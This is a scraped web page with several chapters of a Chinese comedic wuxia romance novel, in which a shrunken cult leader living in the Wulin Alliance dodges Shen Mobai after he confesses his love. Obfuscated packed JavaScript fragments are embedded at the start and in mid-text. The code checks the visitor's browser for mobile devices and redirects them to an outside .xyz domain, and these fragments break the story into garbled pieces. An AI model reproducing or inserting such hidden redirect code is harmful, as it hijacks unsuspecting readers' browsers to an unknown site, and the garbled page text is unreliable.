l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349871|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾染织不同于十四,十四从前在人前都是蒙面示人,在江湖里是一张完全无辨识度的脸。但是顾染织却名声不小,在武林中是赫赫有名的魔教毒瘤,经常有画着他的脸的画像贴满大街小巷,画像旁边还注明:危险动物出没,注意规避。 他那张脸在江湖上熟得很,如果被谁认出来就麻烦了。本来我以为我打发小顾回去,这孩子稍微也会别扭一下,稍微担心一下我的安危,稍微忤逆我,稍微像十四一样扭捏的摇着尾巴不肯走。然后,我们再上演一出生离死别、依依不舍的“金陵绝恋”。 谁料,这小子听说我让他回去,答应得特别干脆,而且还毫不掩饰得面露喜色。 他满面微笑地说了句“教主保重,教主再见”,然后就屁颠屁颠连夜启程赶回去了…… 那时候,我觉得一阵失落……小顾,难道几日不见你就变心了…… ··· 自此,我就作为一位身份微妙人士,入住了武林盟。 上次我提过,武林盟是在金陵的北部,坐北朝南,整座城最优越的地位。金陵曾是前朝的国度,这座府邸曾经是前朝的皇都,因此建的穷极奢侈,王气十足,与江南那些秀丽的园林庭院风格大相径庭。看着这武林盟,再想想我家那镜花宫,总酸歪歪感觉自己家一下子寒碜了不少,忍不住想着是不是应该搜刮些民脂民膏回去把镜花宫好好翻修一下。 我在武林盟住了些时日,慢慢发觉了武林盟的妙处。我以前觉得镜花宫里是怪人聚集的地方,现在才发现,真正怪人齐聚的是武林盟——所谓林子大了,什么样的鸟儿都有,这里汇聚了天下所有武林门派,鸟的品种自然琳琅满目。 说到这武林盟里头最“疼”我的人,不是别人,正是栖霞派的萧暮山。 萧暮山特别喜欢小孩儿,我觉得这八成跟他们栖霞派“超生专业派”的传统有很大的关系。萧暮山一见着我,便发病了似,非得捉住我给我讲故事。我说这武林盟整天都在干什么啊?!一个两个的,整天都那么闲! 所以,本座只要一看到萧暮山,立马扭头就跑。我跑吧,他就追。一大一小,奔腾在武林盟的亭台楼阁之间,形影相随……不知道的人看来,还以为我们在玩什么游戏。萧暮山本人,似乎也以为这是什么有趣的游戏…… 他乐在其中,我苦逼万分。 有一次,萧暮山捉住我,把我按在椅子里,第十八回给我讲“大禹治水”的故事。他讲完,慈祥地抚摸着我的头,语重心长道,“恁绝不觉得大禹很棒?专心治水十三年,三过家门而不入!他的老婆涂山氏为他生了一个男娃,大禹都顾不上回去看一眼!这是下了多大的决心!大禹是真男人!俺觉得俺比不上大禹!” 曾经的十七回,我都默默听完,默默点头,默默地拍他的肩膀,默默表示本座现在想如厕。但是,这次本座忍无可忍!我知道,如果我再不阻止他,他还会锲而不舍地继续把这个故事无限循环得给我讲下去。 于是,我举起手,打断了萧暮山,“萧叔叔!你有没有觉得,这个故事有点奇怪?” 萧暮山摸着下巴,仔细从头到尾回想了以便,没发现哪里有问题,于是虚心向我请教,“小白呀,恁说哪里奇怪了?” “你刚才说……他十三年没回家?” “对啊。” “你说,其间他老婆生了个儿子?” “没错儿!” 我特别纯良看着他,道,“那萧叔叔,这儿子是他老婆跟谁生的啊?” 一瞬间,萧暮山的脸色就变了。本作笑而不语。此刻,萧叔叔的价值观正在发生剧烈的颠覆。他坚信了数十年的真理,今天,就这样赤裸裸得在他面前撕下了自己伪善的面具。 我站起来,拍了拍僵硬在原地的萧暮山的肩膀,“暮山啊,有时候,人生是需要反思一下的。当年,你认为理所当然的事情,也许其中是充满了破绽。只是别人已经先入为主得告诉你,它是正确的,所以,你就放弃了自己思考的权利。你好好想想吧……我去洗洗睡了……” 从此以后,萧暮山叔叔再也不给我讲故事了。 36. 一个口口引发的血案 —首先是一段贱贱的题外话— 三妖:有童鞋问上一章为毛没有什么实质情节呢?因为,其实呢……我就是想表现一下“时光匆匆,苍老了兔崽子们”一瞬间,一章节之后,半年就过去了……解说完毕,下面是正文…… —贱贱的半年后— 在武林盟里头的日子,过得飞快,转眼间已经是半年以后。 时值五月,春末夏初。 今日晨曦的时候落起了雨,轻轻的,听不见淅沥的响声,像一种湿漉漉的烟雾,轻柔地笼罩着金陵。空气像是刚洗过似的,特别清爽,其中还夹杂这甜丝丝的花香气。 沈墨白也不知道是不是在错误的时间吃了错误的药,我刚用完了早膳,就被他连拖带拽去逛后花园。他拖着我飞快向前走,一路穿过各种亭台楼阁。步伐匆忙,像是急着去什么地方,完全不是像是要去散步的样子。 我被他扯着往前走,一直走到了后花园的兰花苑里。 在园子门口,沈墨白忽然站住。他低头看我,眉眼微垂,嘴角带着一丝别有深意的浅笑。我一看到他这表情,就知道这货肯定又要找事儿。他一找事儿,十有八九是我要倒霉。 我此时只想回去睡个回笼觉,于是特不耐烦道,“你丫搞什么鬼?” 沈墨白故作高深,神秘兮兮地跟我打哑谜:“鬼是没有,人倒是有一个。” “人?什么人?” 沈墨白抬手,遥遥指向园内,“她。” 我顺着他指着的方向看去,除了满院子兰花之外,就只看到站在花架下面正在松土的一个老太太。 一个花匠?她怎么了?莫非……是跟《射雕》里少林寺的扫地僧一样,是个不世出的超级无敌武林高手? 我正摸着下巴腹诽着,沈墨白趁我不备猛地把我地上捞起来,扛到肩膀上就大步流星向着那老花匠走。 “哇!你干嘛!放我下来!”我立即扭动挣扎,又捶又打。 老花匠听到有人闹腾的动静,便有几分困难得起身,回头来查看。那老太太一脸皱纹,皮肤很黑,似乎是因为常年劳作的原因,她腰背很弯,因此显得比实际年龄大概还要老上几分。这样看上去,她跟普通的村妇没什么两样,并没什么特殊之处。 “老人家,我来了。” “是你啊?”老太太露出一个和善的微笑,“今天又来了啊?” 我皱眉,抬起手来在老人的眼前晃了晃。随即我便发现,她已经失明了。只是通过沈墨白的声音才判断出他是谁。而且,这老太太似乎是不知道沈墨白是什么身份。 我拍拍他的肩膀,“喂,你……” 沈墨白朝我使了一个眼色,示意我不要多嘴。 “老人家,昨天的话题,今天能不能再继续?昨天我听了您说的话,一夜都辗转反侧无法入眠,若是您不把这故事给我讲完,我可是不会罢休的。”沈墨白笑眯眯道,那口吻那神态,夹杂着三分撒娇,分明就是个在卖乖的小辈样子。 我抖了一下,横了沈墨白一眼。没想到这货竟还有当“小狼狗”的潜质。 老太太站起来,摸索着拿起搭在花架上面的粗布巾擦了擦手。 她轻轻叹息了一声,低头专注地擦着自己的手,“其实,这也不是什么不能说的事……只是,我一直孤零零一个人,平时也没人愿意听我说话。所以,这件事一直都没有人能听我讲……” 沈墨白没有答话,他只是温和而理解得对她一笑,抬手轻轻拍了拍老人的胳膊。 老人感觉到了沈墨白的鼓励之意,便抬头,把空虚的目光投向沈墨白,感激地露出一个浅笑。随即,她缓缓摇了摇头,又是一声长长的叹息。末了,她终于缓慢地开了口。 “哎……其实,当年沈家堡、穹庐山庄、捞月楼和点苍派被白玉蛟灭门,那都是自作孽,不可活……” “自作孽?”沈墨白瞄了我一眼,随即眯起眼睛,追问道,“老人家,此话怎讲?” 老人家脸上闪过一丝为难,但她犹豫了瞬间,还是低声说,“因为,白玉蛟七岁那年,也就是她刚被选为镜花宫的少主的时候,曾经被中原武林的这几个门派,联合诱捕过。” 我不说话,冷冷看着那个老女人,手指不知不觉已经攥紧了。 她为什么知道?明明知情人走都应该已经死绝了——是我亲手送他们下了地狱。我本以为这世上不会再有第二人知道此事,也不会有人再提起此事,没想到…… “诱捕?”这次,就连沈墨白都真的惊讶了。一瞬间,他脸上闪露出一抹极其复杂的神色。 “你们这些后辈都罕有人知道这事儿的,因为,知道的人大多死干净了。我那时候,是点苍派的一个做饭的下人,碰巧,曾经照顾过白玉蛟……” 沈墨白闻言,低下头来看我。 我面无表情得盯着说话的老人,一时间,呼吸有一点点凝滞。 老人没有在意沈墨白和我,她仿佛是陷入了回忆中一般,如同自言自语,继续低声说,“那个女孩子,当时也就是七八岁的样子,长得乖巧又可爱。她被关起来了啊,也不哭不闹,只像个大人儿似的叹气。我看着她觉得可怜,怕她吃不下那些不是人吃的牢狱饭,就经常偷偷塞点面头给她吃。” 沈墨白忽然有些突兀地问,“他们对她做了什么?” 他语气很森冷,老太太不知是被他的声音吓到,还是想起了当年的情景,突然得瑟缩了一下。 老太太摇摇头,“具体的……我、我都记不清楚了……就记得后来,她被扒光了衣服,剃光了头发,吊在城楼上。听说,最后是镜花宫的教主亲自到中原来,给那几家门派的主子当面下跪,并且答应了他们开出的所有条件,才把人给放了回去……”老太太说到这里的时候,有些不自然得搅紧了手里的手巾。“之后,武林平静了些年,然后,当年那个小姑娘……不,是白玉蛟,她再出现的时候,就一家,接着一家,把当年参与此事的所有人都杀尽了……报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我横他一眼,“哼,带好你的唾沫星快点滚吧……” “喂,说真的,”沈墨白忽然凑近我的脸,压低声音在我耳边道,“你爱……你的师傅?冷将息?” 一瞬间,我突然感觉到心脏简直就露跳了一拍。 有多少年了?多少年没听到过有人提起过这个名字了? 我愣神了大概有一秒钟,才收拾起自己的表情。我干笑了一声,以退为进反问,“你说呢?” 此时,沈墨白的脸距离我非常的近。他的眼睛深深看进我的眼睛里,那深沉的黑色无比深邃,深得像个不见底的黑洞,简直就要把人吸进去一般。 沈墨白这次没有笑,他反倒是微微皱眉,轻声说,“你……爱到,为了他,情愿把自己变成了冒天下之大不韪的恶人?” 我看着他的眼睛,看了两秒之后,扭开了头。 “我没那么伟大,我就是单纯看那帮人不爽而已。”我冷笑了一声,冷冰冰回答。 37. 你是个好人 几天之后,我又每个月按时得——变身了。 能变回去其实挺好的,只要事先准备好,也不会每次都爆衫消耗服装。这半年以来,每次我一变身成白玉蛟,就跑到咱的金陵分教——也就是那江南第一青楼“千宜阁”里头逍遥,杵在里头当大爷,白吃白住白泡小狼狗。 有酒有美人的日子,一个月那么几天,逍遥又不算放纵,我乐于其中。 沈墨白那家伙总是趁着我变身的时机翘班,也赖在“千宜阁”里头花天酒地。每次我们俩从武林盟里开溜都风声鹤唳,惊险万分,拼命逃过雪鉴等人追魂夺命般的追杀,在月黑风高的金陵城大街小巷里逃窜。雪鉴他们碍于这事情传出去有损他们名门正派的威名,所以也就睁一只眼闭一只眼,随他去了。 刚开始,苏小小对我和沈墨白的关系特别不能理解。 她本以为我跟沈墨白应该是这江湖第一大仇敌,见到对方理应二话不说,立马卷袖子撩裤腿儿,扑上前去咬个你死我活。但是,后来她某日看到我们和谐得坐在同一张桌上,喝酒划拳赌钱,气氛其乐融融。 苏小小这才幡然醒悟:怪不得当年“剑门关”一战中,那个英明神武,神一般的教主大人会败给沈墨白这等残次品!原来,这两个人早已串通好了,在剑门关演了一出惊天地泣鬼神的苦肉计,骗过了所有人的眼睛,好好得涮了天下武林一通!其实,沈墨白他真正的身份是白玉蛟的手下,镜花宫的内应!如今,这中原武林已经被教主人玩弄于股掌之中了!镜花宫一统天下,教主权倾江湖的日子已然指日可待了! 苏小小把以上这段话说给我听的时候,兴奋得两眼放光,她看着沈墨白的眼神也由对待敌人的鄙夷,变成了对革命战友的共勉。作为领导,我不好意思打击属下的革命积极性,于是只好拍拍她肩膀曰:这天下以后都是咱们的。 ··· 这次,我变身了之后也不例外得坐在千宜阁顶层,奢华腐败到令人发指的包厢里头胡吃海喝,身边是数十位风格各异的美人抚琴献舞,莺莺燕燕热闹非凡。 苏小小一听说我和沈墨白驾到,立刻甩了手头接的客人,蹦跶蹦跶来找我。这半年来,苏小小已经与我们混得颇为熟络,所以相处起来就少了几分生分。 我其实也不是特别喜欢那些尊卑贵贱的条条框框,只是从前在镜花宫,所有人都怕我怕的要死,我被人怕出惯性来了,习惯性得摆出一张恐怖的脸,对底下人颐指气使,仿佛随时会一口吞了他们似的。最近我在武林盟里头呆得久了,每天乐呵呵装小孩子,虽然还江山易改本性难移爱使使坏,但苏小小和金陵分教的人每次见我都说:教主您真是越发随和起来了。 门“吱呀”一声被推开了,一漂亮女子步履轻盈若飞似的进了屋,她身上粉色的纱衣飘飞,像只翩跹的蝴蝶。 “教主,您来了呀?您老人家最近忙什么呢?”苏小小脸上妆容精致夺目,只是她那双眼睛更是亮的灿若星辰,一瞬间,这房间里其他的人和物件就被她给比得黯然失色。 漂亮姑娘一屁股坐到我旁边的椅子上,眨巴着眼睛特别热切得盯着我。我现在已经不讨厌苏小小了。没人会讨厌爱慕着崇拜着自己的人,即便那个人可能是你最讨厌的类型。苏小小其实也不是我讨厌的类型,因为苏小小虽然人长得妖艳,但她毫不做作,很有江湖女子的真性情。她平时做事特精明,但一面对我便头脑简单。她对我的盲目崇拜不仅蒙蔽了她的双眼,顺便连她的脑子都被蒙蔽了。 我挑眉,暗暗低眉敛目用眼角丢给沈墨白一个暗号。 沈墨白无声扬了扬嘴角,表明:信号已准确收到。 我慢慢喝了一口酒之后,假作深沉,压低了声音,“其实,我们正在计划下一场席卷整个江湖的正邪混战!” 苏小小一听,果然就兴奋了。漂亮的脸一下扭曲成了个奇怪的形状,本来就很大的杏眼,一下子又瞪圆了一圈儿,眼珠子都快掉出来了,“当真?!” 沈墨白端着酒杯,缓缓扬起嘴角,露出一个邪恶到骨子里的阴笑,“我们,准备屠杀一百个少林和尚和一个卖豆脑的。” 苏小小愣了一下,愕然得瞅了瞅我又瞅了瞅沈墨白。惊愕问道,“那个……为什么要杀卖豆脑的?” 我重重把酒杯放在桌子上,严肃认真地对沈墨白说,“看,我就说吧!根本就没人会在意那一百个少林秃驴!” 沈墨白低低咳嗽了一声,“你赢了。” 苏小小愣。呆呆得看了看沈墨白,又转过头看了看我。 我忍不住“噗嗤”一声笑喷,趴在桌子上摊成一片,最后忍不住狠狠捶桌子。 当然,我捶了没两下,那可怜的梨花木桌子就被我给捶散架了,要不是沈墨白眼疾手快,一只手在桌面底下撑着没让桌子直接摔在地上,这时候我就该躺地上笑了。 苏小小现在总算明白我们不过是在那她开涮,嘟着嘴巴嗔怒得瞪沈墨白,最后不解恨还狠狠捶了那小子几拳。苏小小武功底子可不弱,那几拳捶得沈墨白哀声叫唤。 苏小小是个有眼色的姑娘。她自然懂得自己很难跟得上我与沈墨白的步调,硬是插足进来,只能被我俩涮着玩。于是,苏小小坐了一会儿,就借口说自己还有客人要招呼,准备离席。走了两步,她忽然又想起了什么似的,又拐了回来。 “教主,前几日总坛那边十四大人差人送了消息过来。” 十四?我心里微微一动。 想来,都已经半年没有看到这小子了,也不知道他最近在总坛混得怎样。半年前,我挑了那样至关重要的时刻把十四留在总坛里,让他这个暗卫出来主持大局,有很大一部分意图是希望十四从此就摆脱掉“暗卫”这个头衔,摆脱掉不能有名字、不能有脸面、不能有人生的身份。我不希望十四一辈子都只跟着我,我想放他走。他若不想走,我也会再一次逼他走。 我转过头去看着苏小小,脸上笑眯眯的没有显露出半分情绪,“真的?十四他怎么说?” 苏小小笑吟吟回:“十四大人说了,教内的事儿现在都差不多已经定下了,新的暗卫也都已经选毕,新的长老人选也已决定,只等教主您做出定夺了。” 我边听边点头。 十四此次的确是很能沉得住气,时隔了半年,才第一次传话给我。看来,总坛的事情,他是真的已经办妥了,情况尽在掌握之中,大小事务让我挑不出来什么毛病。不然,他才不敢如此禀报。 “所以十四大人最近这两天就会来金陵。” 听到这里,我猛的“咦”了一声。“他要来?” 苏小小含笑点头,“是,十四大人说,他不放心教主,一定要侍奉左右。这消息是几天前发来的,十四大人现在八成已经在路上了。十四大人还真是像个孩子一样呢,粘您粘得要死。” 我听苏小小这么说,到嘴边的那句“谁让他来的?!”就没说出口。我翻了个白眼,暗自念叨了一句,“这孩子,也太不懂我的用心良苦了啊!” 苏小小掩唇直笑,“是是……我看教主您呐,一个人在江湖上飘着也挺寂寞的,让十四大人陪陪您也好,我们这些做属下的也能更放心些。” 她说完,就听到门外有人叫了声“苏老板!”苏小小应了一声,而后对我屈膝行礼,“教主,那我就先退下了。” 走到门口,苏小小还不忘交代沈墨白:“沈墨白,你在这儿好好侍奉着教主,有什么要求就叫我,我先忙去了啊。” 门被轻轻阖上,红木的门,隔绝了外头的丝竹管弦觥筹交错之声,一时间,房间里忽然静了下来。 我一回头,看到靠着窗子坐着的沈墨白。 窗子没关,夜风一丝一缕飘进屋子里,拂动他额角的碎发掠过眉梢,清冷中有一点落拓的美感。 沈墨白一只手撑着下巴,俩眼睛直勾勾看着我发呆。他眉头微微锁紧,眼神也有一点迷离。 他这是想什么呢?干嘛这么看着我?我脸上开了牡丹了吗?! 我觉得沉默着有点尴尬,于是喝了口酒,讷讷说了句废话,“十四要回来了。” 沈墨白表情这才有些许的变化,他眉眼间明显露出几分反感的神色。 “怎么,你这教主出来跑路,就连他这得力手下也撂担子不干了?” 沈墨白说着,拿起白玉小酒壶给我空了的杯子里斟满酒。一只修长素手拎着白玉壶,玉色相应,素雅清净。 其实一直以来我都觉得,沈墨白他长得真不错……骨骼清络,身体的线条就像是鬼斧天工刻出来的般,连手都漂亮得令人发指。 我轻笑了一声,端起杯子,“百足之虫死而不僵,少了我都没事儿,少了他,这么大一个镜花宫也不能出什么大乱子。” 沈墨白一听也略微摇头,笑了,“有你这么形容自己的门派么?还百足之虫?”他笑完,忽然停顿了一下,眼眸低低一转,略带几分试探说道,“我觉得,你似乎对镜花宫之事并不怎么放在心上?” 我瞥他一眼,回答得万分干脆,“不是似乎,是的确如此。” “这么说……”沈墨白略犹豫了一秒,才问,“你其实对教主之位完全没有兴趣,只是为了冷将息才勉强去做这个教主的?” 我一听到“冷将息”三个字,心脏就狠狠一痛,无端就变得有些焦躁。 “沈墨白!”我声音虽然不大,但是语气却很恶劣。顺带着还猛得把酒杯重重按在桌子上,发出“咣”得一声响,“谁准许你提我师傅的名字?!你莫要太僭越了!” 沈墨白撇了撇嘴。 通常,若是对方都撂下这样的狠话了,就识趣得不再问了。而我白玉蛟若是发飙,这江湖上哪一个不是立马噤若寒蝉,有多远就死多远。唯独这厚颜无耻的沈墨白,竟然胆敢完全不顾忌我的情绪。 他懒懒一笑,忽然俯身凑近我,盯着我的眼睛,无赖道,“你烦我也要问,因为,我就是想知道。” 我咬牙,但是又不能真给他一掌。 最后我被他那种眼神盯得背后有些发毛。 沈墨白平日里总是一副吊儿郎当的样子,看人的眼神也是一分迷离三分不屑六分无所谓,若是他哪天突然抽风了,状态放满,专注得盯着你,那眼神简直就像是黑夜里的狼一般,让你觉得世间万物都一瞬间消失无踪,只剩下这么双眼睛在看着你,让你从心底骤然产生一阵战栗。 我跟他对视了五秒之后撑不住了,有点不自然地别开目光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349873|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我自己觉得丢脸,定了定神,才冷哼了一声,“沈墨白……凭什么你问我就要答?我凭什么听你的啊?我叫了你几声爹,你还真就把自己当我老子啊?” 我有意要把这话题用玩笑带过去。若是平日里,沈墨白肯定会扑上来像大狐狸一样,一边蹭我,一边还无赖兮兮叫“闺女大了就不认爹了”。 但是今天,沈墨白没扑上来。 他不仅不扑上来,也没说话。 他只是沉默不语,静静得看着我,眼神犀利得能把我脑门上烧出两个窟窿,我被他看得越来越觉得如坐针毡。 我知道这屋子里的气氛不对劲了,它俨然已经向着一个诡异的方向发展了,我咽了口唾沫,默默在心里犯嘀咕:沈墨白这家伙今晚莫不是被什么可怕的东西附体了吧? 一时间,我手脚都不知道往哪儿放才好了。 我恍惚中瞥到眼前放着的酒杯空了,于是就去伸手去够放在沈墨白面前的白玉酒壶。就在我刚刚碰到壶把儿的时候,沈墨白忽然伸出手,一下子按在了我的手上。 我的手“PIA”一下被按在沈墨白的手心下面。 当即,老娘我就不淡定了,我不淡定得僵在了原地。 这时候,沈墨白的声音轻轻响起来,轻的仿佛飘在空中,“从来没有。” 于是我凌乱了。 什么从来没有? 话说我刚才说了啥……? 我好像说:你真把自己当我爹? 于是,沈墨白的意思是他从来没把自己当我爹?! 我擦! 这不是废话嘛! 想当我白玉蛟的爹,那起码得是西海龙王啊! 我心里默默吐槽了一大堆。 但是,由于沈墨白此时此刻的表情太认真了,我心脏狂跳不止,舌头打结,于是憋了半天连个屁也没放。 “你……” 沈墨白轻轻吐了口气,像是暗自做了什么决定似的,他闭了闭眼睛,倏然又张开。那双墨白分明的眸子映着莹莹烛火,仿佛眼中也燃起了火光在跳动。 他如此注视着我,弄得我心里发憷。 沈墨白放缓了声音,轻轻说道,“在‘剑门关’一战之前,我就觉得很奇怪,为什么我会对一个这么小一点儿的孩子那么执着……其实我一度怀疑自己是不是有什么毛病……” 我暗暗附和:我也一度怀疑过…… 顺便我又用力,想抽出被沈墨白按住的手,谁知道这家伙下了狠力,我抽了半天,未果。 沈墨白又叹气,“我当时还真的找了个医生去问疾,你别笑,是真的!所以……当时我知道你其实不只是小白,也是白玉蛟的时候,我反而有些安心。虽然喜欢上了这江湖上最恶毒的女人,也总比是个恋童癖要好……” 他说的很慢,很轻,就像是怕吓到我似的。 我这厢还在傻兮兮地笑话沈墨白,那厢,傻笑就硬在了脸上。 我愣了半晌,沈墨白神色纠结看着我。 最后,我犹自挂着僵硬的傻笑,问,“那个……你……说啥?” 沈墨白看着我,然后别开眼睛开始看我们两纠结叠在一起的手,然后他轻轻咳嗽了一声,抬起另外一只手挠了挠脑袋,最后扭扭捏捏说,“就是那个啊……你是怎么想的……” 空气里弥漫着晚春花叶的香气,混杂着一丝丝陈年老酒的沉香,熏得人飘然欲醉。 房间中静悄悄的,房外的喧嚣衬得房间内更加的安静。 我坐在板凳上觉得浑身都不对劲。 欲哭无泪啊! 这是什么气氛啊! 这种少女的粉红色空气到底是什么啊!我不懂啊! 这不是我的世界这不是我的世界!快点放我回去我自己的次元里!! 我被沈墨白按住的那只手,手心里已经出了一把汗,我觉得手心痒得要死,仿佛是汗已经凝成水滴一颗颗掉在了桌子上。 过了老半天,我才扭曲得扯出一抹勉强称得上微笑的表情,“喂,你别开玩笑啊……” 沈墨白猛然看向我,眉头微微蹙着,显露出几分焦躁。 “我没有。” 从前我只觉得沈墨白讨厌、烦人、难缠、难搞定,此时,我第一次觉得:沈墨白,你真是太可怕了…… “沈、沈墨白……我……那个……” “嗯?” 在一秒钟的静默之后,我猛得爆发了,一下子使出了全力。 事实证明,我认真起来果然是天下无敌的,“唰”得一下,我就把自己的手果断无比、英勇无畏得从沈墨白手底下给抽了出来! 由于用力过大而产生的惯性,我自己直接从椅子里站了起来,顺势向后蹦了足足一米才停住。 “沈墨白!你是个好人!但是对不起!!!” 这一句是我脑子里唯一还剩下的一句话。也不知道是几十年前在哪本小说哪部电影里看到过的桥段了…… 我整个人万分凌乱,我觉得这二十年来,我头一次如此凌乱。 在沈墨白还没有给出任何实质性反应的时候,本座已经非常丢人得夺门而出了…… 是的,我落荒而逃了。 38. 忠犬归来 沈墨白跟我表白之后,我们俩的关系就变得尴尬无比。我们之间就像是隔了一条铁路,眼前是空荡荡的铁轨,但是谁都不敢跨过去,因为不知道会不会被一辆飞驰而来的火车撞飞。 如果当时,沈墨白对我说的台词是:我们来一发怎样? 我八成会露出一个□□,欣然将其扑到在床。 但是,世事难料,谁知道最不可能说出那种话的沈墨白,竟然说什么……@#¥%! 作为我这一辈子第一个向我表白的人,我不得不对沈墨白同学的勇气表示钦佩,以及对他奇怪的审美观表示同情。 表白完了的头几天,我还能我一直当缩头乌龟,躲在千宜阁里对他避而不见。 几天之后我又悲催得变小缩回去,我就无处可逃了。 那天夜里,沈墨白站在我房间门口等着我,一直站了一个下午。我无路可逃,又不能继续留在千宜阁,这才扭扭捏捏得被沈墨白给认领回了武林盟。 之前那半年中,我一直是跟沈墨白住在一个园子里头。我的床就安置在他厢房旁边的暖阁里,每天抬头不见低头见,连浴室都共用一个。 这回我一回到武林同盟,头第一件事儿就是逃难似的卷了铺盖冲到雪鉴的房间去抱大腿求包养。 结果,雪鉴打量了我一会儿,只问了一句话,“你是要自己走出去?还是被我扔出去?” 我头摇如拨浪鼓,泪眼婆娑得哭,“甜心!不要丢下我啊!” 无奈,帅和尚没有怜香惜玉之情,他毫不留情拎着我,把我扔给了萧暮山。 萧暮山倒是很乐意接收我。可是,我要是活在萧暮山那个恋童癖的眼皮底下,搞不好第二天就被他给搓揉死了,于是,我果断又卷着铺盖连夜逃到了秦黛黛的小院里寻求避难。 秦黛黛收留了我。 秦黛黛真是个好姑娘,我对自己以前欺负她的劣迹表示忏悔!以后我一定会想方设法逼雪鉴从了她的! ··· 就这样一连好多天,我日日都想方设法躲着沈墨白。 我故意错开用膳的时间,故意绕开沈墨白可能出现的地点。 我耳朵和眼里在缩小了之后就变得灵敏非常,所以只要我远远察觉到空气中有疑似沈墨白的波动,立马扭头就跑。还好,武林盟人多地方也大,这些天来,我竟然真的一直没有跟沈墨白正面遭遇过。 众人把这一幕都看在眼里。还以为我是跟沈墨白在闹别扭了。 小孩子最爱闹别扭了,小白从没闹过,这一闹就是出大的。 大叔大妈们都表示对此事高度关注。 就连秦黛黛这二八的小丫头也特别关心,整天来念叨我:“小白,你跟你爹爹是怎么了?你这么躲着沈盟主,盟主他这些天很失落啊!吃饭做事都心不在焉的,胡渣都忘记刮了,好可怜。” 我想了一下,然后露出了一个愤恨的表情,眼望前方幽幽道,“那都是沈墨白他自己不好!他朝三暮四!我娘这个正房老婆尸骨未寒,他就又想纳小妾!” 秦黛黛先是惊讶得张大了嘴吧,瞪圆了眼睛,一把握住我的手,显得对我的遭遇非常同情。随即,秦姑娘一歪头,又迷惑了,“……沈盟主,他不是你亲爹啊……他跟你娘有什么关系?” 我眨了眨眼睛,然后叹了口气,苦大仇深状欲言又止,“这是不能说的秘密。” 还好,这种情况没持续多久。没过几日,我就接到密报:十四马上就要到了金陵。 一听说十四来了,瞬间我就有种“海阔天空”的感觉! 我现在一个人在金陵,身无分文,身份保密,想离开武林盟都做不到。 而且,如果我偷偷逃走,很有可能被沈墨白三两下给捉回去。到时候,万一沈墨白怒了,凶相毕露,暴露出他鬼畜的潜在阴暗面,在我抵抗不能的时候把我OOXXXXOO了,那我可就惨毙了。 这时候要是十四能在我身边,我就能安心了。十四又有钱,武功又不错,而且对我衷心得天地日月可鉴。到时候,我跟着小十四两个人一起去浪迹天涯逍遥快活什么的,可比在这里整天对着沈墨白犯怵可好多了。 十四跟了我这么多年,我头一次对其产生望穿秋水般的思念之情。 我头一次发现,原来十四竟然已经是个已经能够被我托付,让我依赖,给我安全的男人。头一次如此深切得觉得自己回本儿了!十四——本座真没白白养你! 算算日子,今儿就是十四要到金陵的日子,我整人都“人逢喜事精神爽”。 我自然醒起了个大早,神采奕奕得从厨房摸了一笼小笼包,一路啃着一路走去围场遛弯儿。正巧,今天早上正赶上武林盟的李教头训练小杂兵们。 李教头是个嗓门儿特大,声音特粗,晒得黑头黑脸的年轻男人。 他每次发声都特有技巧,声音从丹田里喷薄而出,听起来带着回音嗡嗡震响,半个武林盟都听得见。只不过,李教头有点口齿不清。 嗡嗡回响配上口齿不清,导致了有时候大家都闹不清楚他到底在讲什么。 李教头先操练小兵们练了一会儿长枪,接着他把长枪一甩,吼道,“一半视奸!一半当裸汉,我去给你们做稀饭!” 当即,本人和一干小杂兵们,都呆愣愣得看着李教头,不知道该作何反应。 等到一干人等眼巴巴看着李教头从围场边上操起一把弓箭来,这才明白…… 李教头他是说:一半射箭,一半叠罗汉,我去给你们做示范。 囧。 沈墨白到围场来的时候,正巧看到一群大老爷们正在朝阳下挥汗如雨得操练,旁边蹲着一个扎着包子头的小丫头。 那小丫头正对着老爷儿们笑得前仰后合,不能自已。 瓦正笑得万分欢乐,忽然,被人拍了一下肩膀,于是我“呵呵呵呵”笑着抬头。 然后,瓦的笑容就非常突兀得僵硬住了。 “白玉蛟。” “啊?”我抹了抹笑出来的眼泪。 “过来,我有话说。” “呃……”我还没能拒绝,沈墨白就非常强势得拽起我的手腕,把我像拎小鸡似的拎走了。 沈墨白把我拉到一个四下无人的小花园里。四周半个人影都没有,都是些错落的假山石头、花草树木,耳边还响着初夏清脆的蝉鸣声。 我眼前忍不住浮现琼阿姨《还珠格格》里各种男女搭配三百六十度镜头旋转的画面。 这气氛又诡异起来了啊,有木有…… 我盯着自己脚尖,脚尖使劲蹭地板,妄图蹭个窟窿出来好让我钻进去。 沈墨白忽然一提衣摆,蹲在了我面前。 这样的高度他刚好与我平视,我一看到他的脸,几乎是下意识得就向后退了一步。 沈墨白轻轻吸了口气又吐出来,眉宇间真的很疲倦。 “白玉蛟,我有件事想问你。” 我此时就像是个全身警戒的猫一样,全身毛都竖起来了。 “什么?”我警惕得盯着他。 “……”沈墨白先是皱起了眉,他貌似是在苦恼些什么,又貌似是在找合适的措辞,总之,纠结了一会儿才说,“你爱上了,不,我是说,假设这样一种情况:如果是你,你可不可能爱上一个与你有仇的人?或许,现在你还不知道你们之间有仇,我是说……” 我突然抬手,打住了他下面的话。 有仇?爱上?现在还不知道? 这……难道是在说十四吗?! 